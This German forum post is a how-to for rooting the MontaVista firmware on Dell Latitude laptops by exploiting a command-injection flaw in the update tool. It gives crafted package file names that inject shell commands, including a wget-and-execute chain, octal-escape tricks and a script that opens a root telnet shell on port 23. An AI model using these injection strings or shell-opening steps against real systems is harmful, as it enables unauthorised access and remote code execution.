Forum: Offtopic HOWTO Jailbreak Dell Latitude Montavista


von Johann K. (johann_k)


Angehängte Dateien:

Lesenswert?

Hallo,

Ich habe es vor kurzem geschafft Motavista (interner Name Montabello) 
auf meinem z600 zu rooten, das gleiche Verfahren würde aller 
Wahrscheinlichkeit nach auch bei E4200 and E4300 funktionieren.

Zum Jailbrack an sich:
Es besteht eine offizielle Möglichkeit DELL Montavista zu upgraden, 
dafür startet man unter Windows ein Upgrade-Tool von DeLL, das eine 
Mini-Linux Version über BIOS hochfährt, die als Update gelieferte ipk 
Packete nach Mini-Linux schaufelt und installiert. Es wird über USB eine 
Netzwerkverbindung zu Mini-Linux aufgebaut, es werden zwei Ports 
angesprochen – auf 3675 läuft der Logger, über 3674 das Update-Skript. 
Man könnte auf den Gedanken kommen die ipk-Packete auszutauschen, nur 
gibt es einen Hacken, die sind signiert und werden mit einer .sig Datei 
geliefert. Erst auf der Mini-Linux Seite wird die Signatur überprüft. 
Falls die Überprüfung fehlschlägt wird die Datei umgehend gelöscht. Was 
mir sofort aufgefallen war dass die Dateinahmen nicht als String in der 
Mini-Linux Welt ankommen.

Erklärung:
Es wird folgendes aufgeführt:
1
ipkg-cl -d root -force-depends -force-reinstall -force-overwrite -force-downgrade install $pkgname
2
rm $pkgname

Falls als Dateinahme "test & touch temp.ipk“ übergeben wird, wird 
tatsächlich eine temp .ikg Datei angelegt, weil
1
rm test & touch temp.ipg
ankommt.

Zu Testzwecken könnte man eine "blabla ; halt ; bla.ipk“ Datei dem Linux 
unterjubeln und das System fährt brav herunter. Die einzige 
Einschränkung stellen an der Stelle die unter Windows verbotenen Zeichen 
dar, das sind echt viele und gerade die interessantesten wie Pipe, 
Grösser-Kleiner Zeichen sind auch darunter.

Abhilfe schafft die Ascii Kodierung, denn man kann so was wie "echo -e 
'\076'" übergeben was ein Größer-Zeichen ergibt, Backslash übergibt man 
indem ein Unterverzeichnis angelegt wird der das Teil vor dem Backslash 
als Namen enthält, darunter eine Datei mit dem Rest des Befehls.
So ist es möglich ein wget von dem lokalem Webserver zu machen und die 
Datei anschließend auszuführen.
1
wget ; wget http`echo -e '\072'``pwd``pwd`192.168.221.10 ; chmod +x index.html ; .`pwd`index.html ; armv6fl.ipk

Aber das ist eine echte Männer Variante, es geht auch viel einfacher: 
Man macht aus einem Schritt zwei: in dem Ersten Schritt wird eine Datei 
uploadet die von dem Updater nicht gelöscht werden kann (weil z.B im 
Namen ein Leerzeichen vorkommt), in dem Zweiten Schritt wird die Datei 
ausführbar gemacht und gestartet.

Anleitung:

1.  Dell Update downloaden:
Dell_Latitude-ON-EX_A00_R262138.exe
oder
Dell_Latitude-ON-EX_A01_R271601.exe
1
http://ftp.us.dell.com/app/Dell_Latitude-ON-EX_A01_R271601.exe
2
http://ftp.us.dell.com/app/Dell_Latitude-ON-EX_A01_R271601.exe
2.  Die Exe Datei starten, es wird unter c:/dell/ R262138/ eine 
setup.exe Datei angelegt
3.  setup.exe Datei ausführen, es wird ein Verzeichnis unter 
"C:\Programme\Dell\Dell Latitude ON Firmware Upgrade" angelegt, da 
liegen alle ipk. .sig und mpk Dateien die auf ipk verweisen.
Der Hacken "Launch Dell Latitude ON Firmware Upgrade" muss raus.
4.  Die mitgelieferte Zip Datei nach "C:\Programme\Dell\Dell Latitude ON 
Firmware Upgrade" entpacken oder manuell eingreifen. Eine der mpk 
Dateien editieren, folgende zwei Zeilen müssen rein:
1
telne start.ipk
2
telnet_start ; cp 'telne start.ipk' strt ; chmod +x strt ; .`pwd`strt ; 0071_armv6fl.ipk

Vier Dateien anlegen die wie folgt heißen:
1
telne start.ipk
2
telne start.ipk.sig
3
telnet_start ; cp 'telne start.ipk' strt ; chmod +x strt ; .`pwd`strt ; 0071_armv6fl.ipk
4
telnet_start ; cp 'telne start.ipk' strt ; chmod +x strt ; .`pwd`strt ; 0071_armv6fl.ipk.sig

Die Datei "telne start.ipk" enthält(Unix Codierung ist wichtig):
1
#!/bin/sh
2
echo "23        stream  tcp     nowait  root    /usr/sbin/telnetd telnetd -l /bin/login" > /etc/inetd.conf
3
inetd

5.  DELL Upgrade Starten (DellFirmwareUpgrade.exe unter Win7 mit Admin 
Rechten), warten bis präparierte Dateien an der Reihe sind.
6.  Per Telnet auf Port 23 Verbinden.

P.S. Wo man landet ist ein Mini-Linux für Updates, das eigentliche 
Montavista liegt dann unter mnt und kann ohne weiteres modifiziert 
werden. Ich habe in die /mnt/usr/sbin/firefox eine Zeile 
/sbin/startxterm hinzugefügt, damit öffnet sich später immer ein xterm 
Terminal sobald ich firefox aufrufe. Oder man schmeißt alles unter /mnt 
weg und packt NITdroid oder ähnliches drauf (da habe ich aber absolut 
kein Plan von).

Viel Spaß Damit!!

Bitte melde dich an um einen Beitrag zu schreiben. Anmeldung ist kostenlos und dauert nur eine Minute.
Bestehender Account
Schon ein Account bei Google/GoogleMail? Keine Anmeldung erforderlich!
Mit Google-Account einloggen
Noch kein Account? Hier anmelden.